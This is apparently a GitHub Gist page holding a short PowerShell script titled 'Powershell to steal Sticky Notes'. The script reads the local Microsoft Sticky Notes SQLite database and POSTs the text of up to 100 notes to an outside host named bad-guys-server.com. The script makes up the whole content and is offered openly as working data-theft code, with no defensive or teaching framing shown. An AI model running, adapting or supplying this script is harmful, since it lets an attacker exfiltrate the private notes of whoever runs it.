Skip to content

Instantly share code, notes, and snippets.

View jusso-dev's full-sized avatar
🔨
Grinding

Justin Middler jusso-dev

🔨
Grinding
  • Australia
  • 17:45 (UTC +10:00)
View GitHub Profile
@jusso-dev
jusso-dev / sticky-fingers.ps1
Created August 12, 2019 09:38
Powershell to steal Sticky Notes
$env:TEMP + "\PSSQLite\1.0.3\PSSQLite.psm1" | Import-Module
$Database = $env:LOCALAPPDATA + "\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite"
$notes = Invoke-SqliteQuery -DataSource $Database -Query "SELECT * FROM Note LIMIT 100"
foreach($note in $notes) { Invoke-RestMethod -Uri "https://bad-guys-server.com" -Method Post -Headers @{"Content-Type"="application/json"} -Body @{"NoteText"=$note.Text} | ConvertTo-Json }